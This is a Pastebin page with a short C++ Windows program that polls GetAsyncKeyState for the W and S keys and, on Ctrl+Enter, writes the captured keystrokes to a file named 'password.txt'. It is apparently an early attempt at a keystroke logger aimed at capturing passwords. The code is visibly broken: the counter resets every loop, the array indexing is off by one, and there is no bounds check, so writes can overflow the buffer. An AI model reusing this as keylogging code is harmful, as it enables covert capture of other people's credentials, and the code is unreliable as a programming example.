Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <string>
- #include <array>
- #include <iostream>
- #include <fstream>
- int NumbersHit = 0;
- char letters[24];
- int main()
- {
- while(!GetAsyncKeyState(VK_ESCAPE))
- {
- if(GetAsyncKeyState('W'))
- {
- NumbersHit++;
- letters[NumbersHit] = 'w';
- }
- if(GetAsyncKeyState('S'))
- {
- NumbersHit++;
- letters[NumbersHit] = 's';
- }
- if(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_RETURN))
- {
- MessageBoxA(NULL, "should be moving files", "what!?", MB_OK);
- std::ofstream Output;
- Output.open("password.txt");
- for(int i = 0; i < NumbersHit; i++)
- {
- Output << letters[i] << std::endl;
- }
- Output.close (); // Finalize the changes
- }
- NumbersHit = 0;
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment